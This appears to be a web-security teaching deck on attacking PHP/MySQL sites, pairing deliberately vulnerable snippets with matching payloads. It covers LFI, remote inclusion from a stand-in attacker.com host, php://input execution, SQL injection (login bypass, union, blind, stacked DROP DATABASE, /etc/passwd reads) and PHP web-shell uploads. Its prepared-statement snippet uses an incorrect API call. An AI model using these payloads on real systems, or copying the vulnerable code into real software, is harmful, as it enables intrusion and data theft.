Web Exploitation PHP and MySQL Edition

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Not even trying

Trust based authentication

```
if ($_GET['authorized'] == 'true')
show_secret_admin_area();
```

Cookie poisoning

```
if ($_COOKIE['username'] == 'admin')
show_secret_admin_area();
```

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Path Traversal (LFI)

Regular file access

```
http://example.com/?page=main.php
include('pages/' . $_GET['page']);
```

Out of scope file access

```
http://example.com/?page=../../../etc/passwd
include('pages/../../../etc/passwd');
```

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LFI remote code execution

Less secure website

```
http://example.com/?page=main.php
```

```
include($_GET['page'])
```

With PHP configuration — > allow_url_include=On

Code execution

http://example.com/?page=http://attacker.com/code.txt

```
include('http://attacker.com/code.txt')
```

We are telling the server to include and evaluate http://attacker.com/code.txt that contains malicious code

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LFI arbitrary code execution

Event worse

```
http://example.com/?page=php://input
```

```
include('php://input');
```

We are telling the server to include and evaluate php://input, that's the body of the request. If we POST the website with some PHP code and that specific parameter we can execute arbitrary PHP code

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LFI dump them all

Base64 dumping

```
http://example.com/?page=php://filter/convert.base64-encode/resource=index.php
```

Works without PHP configuration -> allow_url_include

We are telling the server to include and evaluate php://filter/convert.base64-encode/resource=filename.

The php filter "convert.base64-encode" read the file "filename" (even out of scope) and returns its content Base64 encoded.

Using this technique we can dump all kind of files entirely, including PHP ones which. being Base64 encoded, will not be executed.

Type Juggling

Identical Operator === (checks value and data type)

Equality Operator == (checks only value)

A common query style

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$db->query($query);
```

A common query injection

```
' OR true -- -
```

http://example.com/?user=%27%20OR%20true%20--%20-

```
SELECT * FROM users WHERE username = '' OR true -- -'
```

Sanitized

```
$id = $db->real_escape_string($_GET['id']);
$query = "SELECT * FROM users WHERE id = " . $id;
$db->query($query);
```

New query, new injection

0 OR true

http://example.com/?id=%200%20OR%20true

```
SELECT * FROM users WHERE id = 0 OR true
```

Login bypass (easy)

```
$user = $_GET['user']; $pass = $_GET['pass'];
$query = "SELECT * FROM users WHERE
   username = '" . $user . "' AND password = MD5('" . $pass . "')";

$result = $db->query($query);
if($result->num_rows > 0) {
   $row = $result->fetch_assoc();
   echo("Welcome " . $row['username']);
}
```

We can alter the query to return a user without knowing the password.

') OR true LIMIT 0, 1 -- -

```
SELECT * FROM users WHERE
  username = '' AND password = MD5('') OR true LIMIT 0, 1 -- -');
```

SQL tricks

```
https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
```

String HEX representation

```
'admin' = 0x61646D696E
```

In SQL strings can also be represented in hexadecimal notation That's useful to insert strings in a payload sanitized by real_escape_string

Query stacking

```
SELECT * FROM users; DROP DATABASE db;
```

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Now what?

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";

if(!$result = $db->query($query))
   die($db->error);
```

Error based SQLi

In this case we use the XML parser included with MySQL. When it finds and error it returns part of the code it was parsing. We can have it parsing a result of a select making it leak the result. (Query must output only one column and one row)

```
SELECT extractvalue(rand(),concat(0x3A,(
    SELECT username FROM users LIMIT 0,1
)))
```

No errors?

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $db->query($query);

$row = $result->fetch_assoc();
echo($row["id"] .'|'. $row["username"] .'|'. $row["email"]);
```

Union based SQLi

We use the mask on the website (the echo in our PHP) to show data from the database

```
UNION SELECT username, password AS email, 0 FROM admins
```

```
SELECT * FROM users WHERE username = ''
UNION SELECT username, password AS email, 0 FROM admins -- -'
```

Number of columns must match the first SELECT (in this case 3)

No mask?

```
$username = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $db->query($query);

if ($result->num_rows > 0)
  echo("Logged in");
```

Boolean Based Blind SQLi

We issue boolean SQL queries and check for the "Logged in" output Using MySQL functions as LENGTH and MID we can reduce the amount of requests to retrieve information

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No output?

```
$id = $_GET['id'];
$query = "UPDATE users SET name = 'John' WHERE id = " . $id;
$db->query($query);
```

Time Based Blind SQLi

We issue SQL queries containing SLEEP function and treat the response time as a boolean output

```
UPDATE users SET name = 'John' WHERE id = -1;
IF(MID(VERSION(),1,1) = '5', SLEEP(10), 0);
-- Sleep 10 seconds if MySQL version is 5
```

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How to prevent?

Prepared Statements

```
$stmt = $db->prepare("SELECT * FROM users WHERE id=? AND username=?");
$stmt->bind("i", $id);
$stmt->bind("s", $username);
$stmt->execute();
```

How it works?

Query and parameters (data) are not assembled on the client. When the query reaches the database it's compiled by the SQL engine and subsequently the data is replaced. In this way parameters cannot alter the structure of the query

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SQL tricks

Reading files

```
SELECT load_file('/etc/passwd')
```

Writing files

```
SELECT 'Content to Write' INTO OUTFILE '/tmp/test.txt'
```

Upload Exploitation

PHP upload is easy

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$success = move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

Easy to exploit

Simply upload a PHP file and enjoy

http://example.com/uploads/shell.php

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Check file integrity

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$isImage = getimagesize($_FILES["file"]["tmp_name"]);

if ($isImage !== false) // If it can be parsed as image
  move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

Give the server what it wants

PNGs come to help. We can have whatever data we want after the image in its file We can upload |image + PHP payload|.php files to the server

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Filter extensions

```
$dstfile = 'uploads/' . basename($_FILES['file']['name']);
$extension = strtolower(pathinfo($dstfile, PATHINFO_EXTENSION));

$enExtensions = array("jpeg","jpg","png","gif");

if (in_array($extension, $enExtensions)) // If the extension is OK
   move_uploaded_file($_FILES['file']['tmp_name'], $dstfile);
```

No exploit for us...

The uploaded code cannot be directly executed because the file extension is not handled by the PHP engine

But we can include the file with an LFI and our code will be executed